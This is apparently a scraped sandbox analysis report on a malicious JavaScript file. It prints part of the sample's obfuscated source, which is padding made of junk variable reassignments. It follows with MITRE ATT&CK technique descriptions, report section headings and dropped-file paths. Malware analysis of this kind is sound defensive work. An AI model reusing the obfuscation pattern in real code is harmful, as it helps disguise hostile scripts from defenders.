1320	czgblgv = "Z";
1321	czgblgv = "i";
1322	czgblgv = "c";
1323	hfftjehww = "s";
1324	hfftjehww = "d";
1325	hfftjehww = "O";
1326	hfftjehww = "R";
1327	hfftjehww = "H";
1328	hfftjehww = "o";
1329	hfftjehww = "E";
1330	hfftjehww = "D";
1331	hfftjehww = "h";
1332	hfftjehww = "L";
1333	hfftjehww = "Y";
1334	hfftjehww = "y";
1335	hfftjehww = "D";
1336	hfftjehww = "I";
1337	hfftjehww = "p";
1338	hfftjehww = "c";
1339	hfftjehww = "x";
1340	hfftjehww = "V";
1341	hfftjehww = "a";
1342	hfftjehww = "U";
1343	hfftjehww = "M";
1344	hfftjehww = "v";
1345	hfftjehww = "G";
1346	hfftjehww = "i";
1347	hfftjehww = "C";
1348	hfftjehww = "O";
1349	hfftjehww = "v";
1350	hfftjehww = "8";
1351	oblyvmjwc = "d";
1352	oblyvmjwc = "q";
1353	oblyvmjwc = "W";
1354	oblyvmjwc = "n";
1355	oblyvmjwc = "y";
1356	oblyvmjwc = "V";
1357	oblyvmjwc = "c";
1358	oblyvmjwc = "B";
1359	oblyvmjwc = "y";
1360	oblyvmjwc = "M";
1361	oblyvmjwc = "A";
1362	oblyvmjwc = "x";
1363	oblyvmjwc = "W";
1364	oblyvmjwc = "g";
1365	oblyvmjwc = "i";
1366	oblyvmjwc = "F";
1367	oblyvmjwc = "t";
1368	oblyvmjwc = "u";
1369	oblyvmjwc = "D";
1370	oblyvmjwc = "H";
1371	oblyvmjwc = "G";
1372	oblyvmjwc = "J";
1373	oblyvmjwc = "r";
1374	oblyvmjwc = "X";
1375	oblyvmjwc = "Z";
1376	oblyvmjwc = "I";
1377	oblyvmjwc = "f";
1378	oblyvmjwc = "A";
1379	oblyvmjwc = "c";
1380	oblyvmjwc = "B";
1381	oblyvmjwc = "D";
1382	oblyvmjwc = "a";
1383	oblyvmjwc = "V";
1384	oblyvmjwc = "U";
1385	oblyvmjwc = "B";
1386	oblyvmjwc = "Y";
1387	oblyvmjwc = "n";
1388	zzgswnyab = "l";
1389	zzgswnyab = "q";
1390	vgfcaxr = "N";
1391	vgfcaxr = "J";
1392	vgfcaxr = "a";
1393	vgfcaxr = "L";
1394	vgfcaxr = "s";
1395	vgfcaxr = "X";
1396	vgfcaxr = "H";
1397	vgfcaxr = "i";
1398	vgfcaxr = "C";
1399	vgfcaxr = "y";
1400	vgfcaxr = "u";
1401	vgfcaxr = "O";
1402	vgfcaxr = "k";
1403	vgfcaxr = "E";
1404	vgfcaxr = "F";
1405	vgfcaxr = "h";
1406	vgfcaxr = "E";
1407	vgfcaxr = "Z";
1408	vgfcaxr = "Q";
1409	vgfcaxr = "N";
1410	vgfcaxr = "w";
1411	jlbtwpsqk = "p";
1412	jlbtwpsqk = "Y";
1413	jlbtwpsqk = "h";
1414	jlbtwpsqk = "A";
1415	jlbtwpsqk = "G";
1416	jlbtwpsqk = "Z";
1417	jlbtwpsqk = "S";
1418	jlbtwpsqk = "n";
1419	jlbtwpsqk = "S";
1420	jlbtwpsqk = "K";
1421	jlbtwpsqk = "V";
1422	jlbtwpsqk = "w";
1423	jlbtwpsqk = "A";
1424	jlbtwpsqk = "Y";
1425	jlbtwpsqk = "J";
1426	jlbtwpsqk = "t";
1427	jlbtwpsqk = "v";
1428	jlbtwpsqk = "e";
1429	jlbtwpsqk = "C";
1430	jlbtwpsqk = "N";
1431	jlbtwpsqk = "N";
1432	jlbtwpsqk = "M";
1433	jlbtwpsqk = "a";
1434	jlbtwpsqk = "c";
1435	jlbtwpsqk = "C";
1436	jlbtwpsqk = "h";
1437	jlbtwpsqk = "p";
1438	dieezqamo = "E";
1439	dieezqamo = "E";
1440	dieezqamo = "Z";
1441	dieezqamo = "l";
1442	dieezqamo = "U";
1443	dieezqamo = "c";
1444	dieezqamo = "U";
1445	dieezqamo = "A";
1446	dieezqamo = "k";
1447	dieezqamo = "F";
1448	dieezqamo = "h";
1449	dieezqamo = "G";
1450	dieezqamo = "j";
1451	dieezqamo = "D";
1452	dieezqamo = "f";
1453	dieezqamo = "J";
1454	dieezqamo = "h";
1455	dieezqamo = "T";
1456	dieezqamo = "5";
1457	qfpzg = "m";
1458	qfpzg = "o";
1459	qfpzg = "q";
1460	qfpzg = "t";
1461	qfpzg = "i";
1462	qfpzg = "m";
1463	qfpzg = "z";
1464	qfpzg = "q";
1465	qfpzg = "X";
1466	qfpzg = "T";
1467	qfpzg = "k";
1468	qfpzg = "y";
1469	qfpzg = "G";
1470	qfpzg = "s";
1471	qfpzg = "g";
1472	qfpzg = "P";
1473	qfpzg = "Z";
1474	qfpzg = "j";
1475	qfpzg = "j";
1476	qfpzg = "p";
1477	qfpzg = "e";
1478	qfpzg = "N";
1479	qfpzg = "S";
1480	qfpzg = "n";
1481	qfpzg = "L";
1482	qfpzg = "g";
1483	qfpzg = "E";
1484	qfpzg = "i";
1485	qfpzg = "i";
1486	qfpzg = "e";
1487	qfpzg = "P";
1488	qfpzg = "l";
1489	opmbes = "J";
1490	opmbes = "S";
1491	opmbes = "A";
1492	opmbes = "W";
1493	opmbes = "i";
1494	opmbes = "a";
1495	opmbes = "C";
1496	qvmkxcgdd = "d";
1497	qvmkxcgdd = "A";
1498	qvmkxcgdd = "B";
1499	qvmkxcgdd = "j";
1500	qvmkxcgdd = "H";
1501	qvmkxcgdd = "X";
1502	qvmkxcgdd = "X";
1503	qvmkxcgdd = "U";
1504	qvmkxcgdd = "Z";
1505	qvmkxcgdd = "P";
1506	qvmkxcgdd = "Z";
1507	qvmkxcgdd = "z";
1508	qvmkxcgdd = "b";
1509	qvmkxcgdd = "L";
1510	qvmkxcgdd = "V";
1511	qvmkxcgdd = "k";
1512	qvmkxcgdd = "I";
1513	qvmkxcgdd = "v";
1514	qvmkxcgdd = "U";
1515	qvmkxcgdd = "f";
1516	qvmkxcgdd = "K";
1517	qvmkxcgdd = "Q";
1518	onxhwuarz = "C";
1519	onxhwuarz = "x";
1520	onxhwuarz = "W";
1521	onxhwuarz = "f";
1522	onxhwuarz = "L";
1523	onxhwuarz = "W";
1524	onxhwuarz = "N";
1525	onxhwuarz = "r";
1526	onxhwuarz = "\"";
1527	ixkxe = "f";
1528	ixkxe = "H";
1529	ixkxe = "L";
1530	ixkxe = "n";
1531	ixkxe = "W";
1532	ixkxe = "J";
1533	ixkxe = "F";
1534	ixkxe = "s";
1535	ixkxe = "L";
1536	ixkxe = "e";
1537	ixkxe = "C";
1538	ixkxe = "v";
1539	ixkxe = "A";
1540	ixkxe = "u";
1541	ixkxe = "I";
1542	ixkxe = "b";
1543	ixkxe = "Z";
1544	ixkxe = "M";
1545	ixkxe = "I";
1546	ixkxe = "t";
1547	ixkxe = "m";
1548	ixkxe = "I";
1549	ixkxe = "y";
1550	ixkxe = "o";
1551	ixkxe = "X";
1552	ixkxe = "Y";
1553	jgnjpdxs = "C";
1554	jgnjpdxs = "q";
1555	jgnjpdxs = "o";
1556	jgnjpdxs = "X";
1557	jgnjpdxs = "b";
1558	jgnjpdxs = "p";
1559	jgnjpdxs = "R";
1560	jgnjpdxs = "r";
1561	jgnjpdxs = "n";
1562	jgnjpdxs = "K";
1563	jgnjpdxs = "p";
1564	jgnjpdxs = "w";
1565	jgnjpdxs = "I";
1566	jgnjpdxs = "o";
1567	jgnjpdxs = "J";
1568	jgnjpdxs = "L";
1569	jgnjpdxs = "n";
1570	jgnjpdxs = "g";
1571	jgnjpdxs = "j";
1572	jgnjpdxs = "R";
1573	jgnjpdxs = "Y";
1574	jgnjpdxs = "Q";
1575	jgnjpdxs = "k";
1576	jgnjpdxs = "D";
1577	jgnjpdxs = "o";
1578	jgnjpdxs = "u";
1579	jgnjpdxs = "b";
1580	jgnjpdxs = "k";
1581	jgnjpdxs = "t";
1582	jgnjpdxs = "r";
1583	jgnjpdxs = "F";
1584	jgnjpdxs = "H";
1585	bsfvub ( );	bsfvub() ➔ undefined

Reset < >

Description:	This technique has been deprecated. Please use Command and Scripting Interpreter where appropriate.
Tactics:	Defense Evasion, Execution
Data Sources:
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse command and script interpreters to execute commands, scripts, or binaries. These interfaces and languages provide ways of interacting with computer systems and are a common feature across many different platforms. Most systems come with some built-in command-line interface and scripting capabilities, for example, macOS and Linux distributions include some flavor of Unix Shell while Windows installations include the Windows Command Shell and PowerShell .
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Network, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may exploit software vulnerabilities in client applications to execute code. Vulnerabilities can exist in software due to unsecure coding practices that can lead to unanticipated behavior. Adversaries can take advantage of certain vulnerabilities through targeted exploitation for the purpose of arbitrary code execution. Oftentimes the most valuable exploits to an offensive toolkit are those that can be used to obtain code execution on a remote system because they can be used to gain access to that system. Users will expect to see files related to the applications they commonly used to do work, so they are a useful target for exploit research and development because of their high utility.
Tactics:	Execution
Data Sources:	Application Log: Application Log Content, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse PowerShell commands and scripts for execution. PowerShell is a powerful interactive command-line interface and scripting environment included in the Windows operating system.Adversaries can use PowerShell to perform a number of actions, including discovery of information and execution of code. Examples include the `Start-Process` cmdlet which can be used to run an executable and the `Invoke-Command` cmdlet which runs a command locally or on a remote computer (though administrator permissions are required to use PowerShell to connect to remote systems).
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may look for folders and drives shared on remote systems as a means of identifying sources of information to gather as a precursor for Collection and to identify potential systems of interest for Lateral Movement. Networks often contain shared network drives and folders that enable users to access file directories on various systems across a network.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may obfuscate command and control traffic to make it more difficult to detect. Command and control (C2) communications are hidden (but not necessarily encrypted) in an attempt to make the content more difficult to discover or decipher and to make the communication less conspicuous and hide commands from being seen. This encompasses many methods, such as adding junk data to protocol traffic, using steganography, or impersonating legitimate protocols.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using a protocol and port pairing that are typically not associated. For example, HTTPS over port 8088or port 587as opposed to the traditional port 443. Adversaries may make changes to the standard port used by a protocol to bypass filtering or muddle analysis/parsing of network data.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report 2045514992161325262.js

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Configuration

Yara Signatures

Memory Dumps

Sigma Signatures

System Summary

HIPS / PFW / Operating System Protection Evasion

Suricata Signatures

Joe Sandbox Signatures

Software Vulnerabilities

Networking

Spam, unwanted Advertisements and Ransom Demands

System Summary

Data Obfuscation

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Stealing of Sensitive Information

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

Private

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\ProgramData\Microsoft\Network\Downloader\edb.log

C:\ProgramData\Microsoft\Network\Downloader\qmgr.db

C:\ProgramData\Microsoft\Network\Downloader\qmgr.jfm

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG.old (copy)

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG.old (copy)

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\4b0fd78c-1c4d-47c3-a591-8800e8d23416.tmp

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\Network Persistent State (copy)

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\000003.log

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG.old (copy)

C:\Users\user\AppData\LocalLow\Adobe\Acrobat\DC\ReaderMessages

C:\Users\user\AppData\LocalLow\Adobe\Acrobat\DC\ReaderMessages-journal

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\2D85F72862B55C4EADD9E66E06947F3D

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\77EC63BDA74BD0D0E0426DC8F8008506

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\2D85F72862B55C4EADD9E66E06947F3D

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\77EC63BDA74BD0D0E0426DC8F8008506

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeCMapFnt23.lst (copy)

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeFnt23.lst.2448

Windows Analysis Report
2045514992161325262.js